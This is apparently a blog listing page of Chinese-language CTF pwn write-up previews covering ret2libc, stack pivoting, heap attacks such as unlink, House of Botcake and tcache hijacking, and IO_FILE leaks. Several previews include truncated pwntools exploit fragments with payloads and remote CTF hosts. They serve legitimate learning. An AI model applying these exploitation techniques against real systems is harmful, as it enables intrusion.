p64
  • 2024-06-07Dragon_Knight_CTF-stack(栈迁移)
    Dragon_Knight_CTF-stack(栈迁移)程序的保护情况如下,可以看到没有开启pie保护Arch:amd64-64-littleRELRO:PartialRELROStack:NocanaryfoundNX:NXenabledPIE:NoPIE(0x3fe000)可以看道main函数也很简洁,只有一个0x10大小的溢出,程序给了libc,版
  • 2024-05-29pwn长征路
    只是私人学习记录的备份,不建议参考学习模板frompwnimport*context(os='linux',arch='amd64',log_level='debug')#context.update(arch='i386',os='linux',log_level='debug')#context(os='linux',arch='
  • 2024-05-26ret2libc
    https://files.cnblogs.com/files/blogs/820854/ret2libc.ppt?t=1716737413&download=truefrompwnimport*e=ELF('./pwn')#调用目标文件的elf文件libc=ELF('./libc-2.31.so')#调用libc版本文件puts_plt=e.plt['puts']#调用
  • 2024-05-25ISCC(人民的好比赛)2024
    ISCC竞赛2024练武题web还没想好名字的塔防游戏f12查看源码,world.js,查看提示BearsBrewStormsOpalOceansGlowElvesWhisperWonders网站首页看到MysticDefenseWar:TheSecretofGuardianTowersandMagicalMonsters去掉小写o与a首字母组合刚好18位代码审计题
  • 2024-05-14pwn知识——House of Botcake
    个人理解感觉HouseofBotcake就是doublefree+overlapping+_IO_FILEattack的结合使用,需要对堆结构有着较为详细的理解,也要有能管理堆顺序的能力,建议写题的时候还是标一标堆的index,这样在利用堆的时候会比较方便些HouseofBotcake想要利用这个攻击,我们得先了解_IO_FILE的
  • 2024-05-11pwn知识——劫持IO-file_jumps攻击和environ攻击
    导言哎,异或fd指针真是令人讨厌IO_file_jumps_IO_lock_t_IO_stdfile,_IO_wide_data(针对宽字节的虚函数表),_IO_FILE_plus(含有stdin,stdout)三者均被定义为IO_file_jumps原理IO_file_jumps是一个全局变量符号,存有以下符号这个结构体主要跟缓冲区有关,比如调用puts,fread,fgets,ex
  • 2024-05-08buuctf-pwn-ciscn_2019_c_1-ret2libc
    检查一下保护情况ida里选项2,3都没有什么重要的信息,直接看选项1发现栈溢出漏洞,不过程序对输入的字符串有一个异或加密,这里可以构造异或后的payload,利用程序来解密,或者可以直接在payload第一位加上'\x00',直接截断payload后面的异或操作用cyclic测一下溢出点,得到88找一下system
  • 2024-05-08ISCC线上赛2023
    ISCC线上赛2023webweb1双重base解码得到flagweb3F12控制台查看可找到loveStory.phpEnc.phpdownload.php,loveStory.php为反序列源码boy::__destruct()-->girl()::__call()-->helper()::__isset()-->boy()::__toString()-->helper()::__get()-->love_story()::__love()
  • 2024-04-28DozerCTF-PWN题解
    这次比赛一共放了4道pwn题,3道栈上的,比较菜,只会做栈1.pwn_fclosefrompwnimport*context(os='linux',arch='amd64',log_level='debug')io=remote('139.196.237.232',32985)#io=process("./pwn")libc=ELF("./libc.so.6&q
  • 2024-04-28[pwn]XYCTF 2024 个人WriteUp
    目录XYCTF2024WriteUp>pwn1.hello_world(签到)2.invisible_flag3.static_link由于本人菜鸡和时间问题,只打了前两周,打出了pwn的三道简单题目,记录自己的做题过程,如何后续复现可能也会更新。XYCTF2024WriteUp>pwn1.hello_world(签到)常规checksecIDA反编译进入主函数发
  • 2024-04-27pwn知识——劫持tcache_perthread_struct(Ubuntu22.04之前)
    前言(可忽略)堆不愧是堆...知识点真的要多用动调查看堆的状态才好理解tcache_perthread_struct的结构源码#defineTCACHE_MAX_BINS64/*Weoverlaythisstructureontheuser-dataportionofachunkwhenthechunkisstoredintheper-threadcache.*/typedefst
  • 2024-04-20newstartweek3部分题解
    64位利用格式化字符串修改got表例题:newstartweek3putorsystem老规矩先checksec和代码审计:看到开了canary和NX(但是对于这道题的话canary是没有用的),然后源码这边也没有发现有system函数,也没有后门函数,所以我们需要自己在libc里面找,然后就有bin/sh那么我们就只用把got表里
  • 2024-04-08[BUUCTF]ciscn_2019_c_1
     0.环境Ubantu-22.04.41.查看文件格式终端中输入命令checksec--file='filename'    #filename为下载文件的自定义名称输出结果为没开canary保护,开了NX终端中输入命令file'filename' 输出为64位,放到ida64里反编译2.IDA分析程序 1.main函数 
  • 2024-04-06pwn知识——unlink(smallbins)
    是我的错觉么,总觉得unlink比UAF好懂好多...也有可能是我觉得做题模板比较好理解一点,真要深入的话我感觉一个头会比两个大emmmm原理及其条件原理unlink顾名思义,脱链,把一个空闲的chunk从unsortedbin里取出来,与物理相邻的chunk合成一个一个大堆块(分“前合”,“后合”’)。这里用图
  • 2024-03-31buu6
    hitcon_ctf_2019_one_punch 保护全开,ida打开,libc版本为2.29 删除功能存在uaffrompwnimport*context(os="linux",arch="amd64")#,log_level="debug")context.terminal=['tmux','splitw','-h']pwn=&quo
  • 2024-03-28dubhe2024 BuggyAllocator:通过修改_IO_2_1_stdout_的内容进行任意读
    在堆题中遇到没有show()函数的情况,导致无法泄露地址。这时可以通过修改_IO_2_1_stdout_来强制程序输出一段内存,从而泄露需要的地址。例题:dubhe2024BuggyAllocatordubhe2024,xctf分站赛最后一场凄惨爆零,主看了这道题一整天,逆清楚了但找不到漏洞。事后来看当时就算找到洞了也不会
  • 2024-03-16栈迁移
    栈迁移栈溢出可用的长度无法构造一个完整的ROP链,使用栈迁移换到另外的足够的地址去构造哦ROP链。核心两次leave;ret指令。leave->movespebp;popebp即将ebp的内容赋值给ebp(ebp指向ebp原先存储的地址),然后将esp指向ebp原先的地址ret->popeip即将栈顶内容(下一条指令的
  • 2024-03-16NSSCTF_pwn_notepage(1)
    NSSCTF_pwn_刷题笔记page(1)[SWPUCTF2021新生赛]gift_pwnfrompwnimport*io=remote('node4.anna.nssctf.cn',28991)padding=16+8shell=0x4005B6payload=b'A'*padding+p64(shell)io.sendline(payload)io.interactive()[SWPUCTF2021新生赛]
  • 2024-03-16[GFCTF 2021]where_is_shell :)shell use new posture
    [GFCTF2021]where_is_shellshell的特殊姿势看上去很简单的栈溢出,但是问题在于找不到能用的/bin/sh或者sh这里出现了一个shell的新姿势:可以利用system($0)获得shell权限,$0在机器码中为\x24\x30在tips函数中正好有\x24\x30可以用来构造,所以需要取出0x400541关于ida打
  • 2024-03-16others_babystack
    others_babystackCanary保护程序控制流64位libc泄露bamuwe@bamuwe:~/done/others_babystack$checksecbabystack[*]'/home/bamuwe/done/others_babystack/babystack'Arch:amd64-64-littleRELRO:FullRELROStack:CanaryfoundNX:
  • 2024-03-15HTB_pwn_pet_companion_exp
    frompwnimport*context.log_level='debug'elf=ELF('./pet_companion')io=remote('94.237.54.152',51111)padding=72pop_rdi=0x0000000000400743#:poprdi;retpop_rsi=0x0000000000400741#:poprsi;retpayload=b
  • 2024-03-13栈迁移总结
    一,栈迁移是什么博
  • 2024-03-06NewStar Week2-3部分pwn wp
    stack_migrationchecksec开启了NX保护,但是没有PIE和Canary代码审计可以看到有两个read和一个printf。第一个read没什么用我们看第二个。因为v2距离rbp有0x50个字节,而read只能读入0x60个字节,意味着我们剩余的字节数只有0x10,没法构造完整的ROP链,那么我们就只能利用栈迁移来变
  • 2024-03-02unlink学习笔记
    unlink学习笔记一、什么是unlink首先不妨假设有三个free掉的chunk分别称为first_chunk、second_chunk、third_chunkunlink其实是想把second_chunk摘掉,那怎么摘呢?second_fd=first_prev_addrsecond_bk=third_prev_addrfirst_bk=third_prev_addrthird_fd=first_prev_
  • 2024-02-21栈溢出
    ret2textNewstarWeek1frompwnimport*context.log_level='debug'io=process('./ret2text')#io=remote("node4.buuoj.cn",25439)io.recvuntil(b"magic\n")backdoor=0x4011FBshell=b'a'*0x28+p64(b